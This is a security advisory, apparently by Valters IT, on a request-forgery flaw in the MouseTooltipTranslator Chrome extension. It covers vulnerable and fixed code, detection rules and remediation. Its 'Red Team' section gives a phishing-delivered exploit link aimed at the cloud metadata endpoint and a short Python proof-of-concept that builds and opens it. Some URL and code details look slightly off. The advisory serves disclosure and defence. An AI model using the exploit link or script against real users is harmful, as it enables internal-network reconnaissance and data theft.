CVE-2025-25303

Executive Summary

CVE-2025-25303 is a Server-Side Request Forgery (SSRF) vulnerability in the MouseTooltipTranslator Chrome extension. The extension’s pdf.mjs script, imported by viewer.html, accepts a URL parameter from the current page’s URL to download and display a PDF file. Because viewer.html is accessible to all URLs, an attacker can craft a malicious link that forces the victim’s browser to make arbitrary HTTP requests to internal or external resources. The maintainer has acknowledged the issue but decided not to patch it, citing that fixing it would disable a major feature. This leaves all users of the extension vulnerable to SSRF attacks, which can be used for internal network scanning, data exfiltration, or accessing cloud metadata endpoints.

Supply Chain & Package Security

This vulnerability affects a Chrome extension distributed through the Chrome Web Store. There is no NPM, PyPI, Go, or Ruby package involved. The risk is primarily to end-users who install the extension, as the malicious payload is delivered via a crafted URL. The extension’s update mechanism does not automatically patch this issue, and the maintainer has no plans to release a fix.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low (limited data exposure)
• Integrity Impact: Low (limited manipulation)
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact can be significant if the attacker targets internal services (e.g., cloud metadata endpoints, internal APIs).

Deep Dive & Mechanics

The vulnerability resides in the pdf.mjs script, which is imported by viewer.html. The script extracts a URL parameter from the current page’s URL (e.g., ?url=http://attacker-controlled-server.com/malicious.pdf) and uses it to fetch a PDF file. Because viewer.html is accessible to all URLs (no origin restriction), an attacker can craft a link like:

https://chrome-extension://<extension-id>/viewer.html?url=http://169.254.169.254/latest/meta-data/

When the victim clicks this link, the extension’s pdf.mjs script makes a GET request to the attacker-specified URL. The response is then displayed in the viewer, allowing the attacker to read the content (e.g., cloud metadata). This is a classic SSRF attack.

Key Points:

• The extension does not validate or sanitize the url parameter.
• The request is made from the victim’s browser, bypassing same-origin policy for internal resources.
• The maintainer has decided not to patch, leaving the vulnerability open indefinitely.

Vulnerable vs. Patched Code

Vulnerable Code (pdf.mjs):

// pdf.mjs (vulnerable)
const urlParams = new URLSearchParams(window.location.search);
const pdfUrl = urlParams.get('url');
if (pdfUrl) {
  fetch(pdfUrl)
    .then(response => response.blob())
    .then(blob => {
      // Display PDF
    });
}

Patched Code (hypothetical):

// pdf.mjs (patched)
const urlParams = new URLSearchParams(window.location.search);
const pdfUrl = urlParams.get('url');
if (pdfUrl) {
  // Validate URL against allowed domains
  const allowedDomains = ['trusted-pdf-server.com', 'cdn.example.com'];
  const url = new URL(pdfUrl);
  if (!allowedDomains.includes(url.hostname)) {
    console.error('Blocked SSRF attempt');
    return;
  }
  fetch(pdfUrl)
    .then(response => response.blob())
    .then(blob => {
      // Display PDF
    });
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Victim has MouseTooltipTranslator extension installed.
• Attacker controls a server to receive requests or can target internal services.

Exploit Steps:

1. Craft a malicious URL pointing to the extension’s viewer.html with a url parameter targeting an internal resource.
2. Deliver the link to the victim via phishing email, social media, or other means.
3. Victim clicks the link, and the extension fetches the internal resource.
4. Attacker reads the response (if displayed) or uses the request for reconnaissance.

Example Exploit URL:

https://chrome-extension://<extension-id>/viewer.html?url=http://169.254.169.254/latest/meta-data/

Proof-of-Concept (PoC) Script:

import webbrowser

extension_id = "abcdefghijklmnopqrstuvwxyzabcdef"  # Replace with actual extension ID
target_url = "http://169.254.169.254/latest/meta-data/"
malicious_link = f"https://chrome-extension://{extension_id}/viewer.html?url={target_url}"

print(f"Send this link to victim: {malicious_link}")
webbrowser.open(malicious_link)

Blue Team

Detection Steps:

1. Monitor for outbound HTTP requests from browser processes to unusual internal IPs (e.g., 169.254.169.254, 10.x.x.x, 192.168.x.x).
2. Inspect browser logs for requests to chrome-extension://<extension-id>/viewer.html?url=....
3. Use network monitoring tools to detect SSRF patterns.

Mitigation:

• Block the extension via group policy or endpoint security software.
• Educate users not to click suspicious links.
• Implement network segmentation to limit access to internal resources from user endpoints.

Indicators of Compromise (IOCs)

• URL Pattern: chrome-extension://<extension-id>/viewer.html?url=*
• Network Requests: Outbound HTTP GET requests to internal IPs (e.g., 169.254.169.254, 10.0.0.1, 192.168.1.1) from browser processes.
• Extension ID: (Unknown, but can be obtained from Chrome Web Store)
• User-Agent: Standard Chrome User-Agent (e.g., Mozilla/5.0 ... Chrome/...)

Detection Engineering

YARA Rule

rule CVE_2025_25303_SSRF {
  meta:
    description = "Detects SSRF attempts via MouseTooltipTranslator extension"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-25303"
  strings:
    $url_pattern = /chrome-extension:\/\/[a-z]{32}\/viewer\.html\?url=http/
    $internal_ip = /url=http:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|169\.254\.)/
  condition:
    any of them
}

Sigma Rule

title: SSRF via MouseTooltipTranslator Extension
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SSRF attempts using the MouseTooltipTranslator Chrome extension
author: Valters IT
date: 2025-04-10
logsource:
  category: proxy
  product: generic
detection:
  selection:
    url|contains: "chrome-extension://"
    url|contains: "viewer.html?url="
    url|contains|any:
      - "169.254.169.254"
      - "10."
      - "192.168."
      - "172.16."
      - "172.17."
      - "172.18."
      - "172.19."
      - "172.20."
      - "172.21."
      - "172.22."
      - "172.23."
      - "172.24."
      - "172.25."
      - "172.26."
      - "172.27."
      - "172.28."
      - "172.29."
      - "172.30."
      - "172.31."
  condition: selection
falsepositives:
  - Legitimate use of the extension with internal PDF servers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25303 SSRF via MouseTooltipTranslator"; flow:to_server; content:"chrome-extension://"; content:"viewer.html?url="; content:"http://"; pcre:"/url=http:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|169\.254\.)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the extension on all user endpoints via group policy or endpoint management.
2. Block the extension ID in Chrome Web Store policies to prevent installation.
3. Monitor network traffic for SSRF patterns (see IOCs).

Long-Term Fix:

• Since the maintainer will not patch, consider forking the extension and implementing input validation (see patched code example).
• Alternatively, replace the extension with a secure alternative.

Workaround:

• Use a browser extension firewall or content security policy (CSP) to restrict outbound requests from extensions.

Valters IT